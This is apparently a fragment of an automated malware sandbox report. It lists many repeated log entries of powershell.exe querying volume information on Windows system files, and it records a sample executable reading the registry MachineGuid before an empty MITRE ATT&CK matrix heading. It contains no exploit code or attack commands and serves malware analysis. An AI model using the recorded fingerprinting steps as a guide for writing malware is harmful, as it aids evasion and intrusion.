Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\UBONg7lmVR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
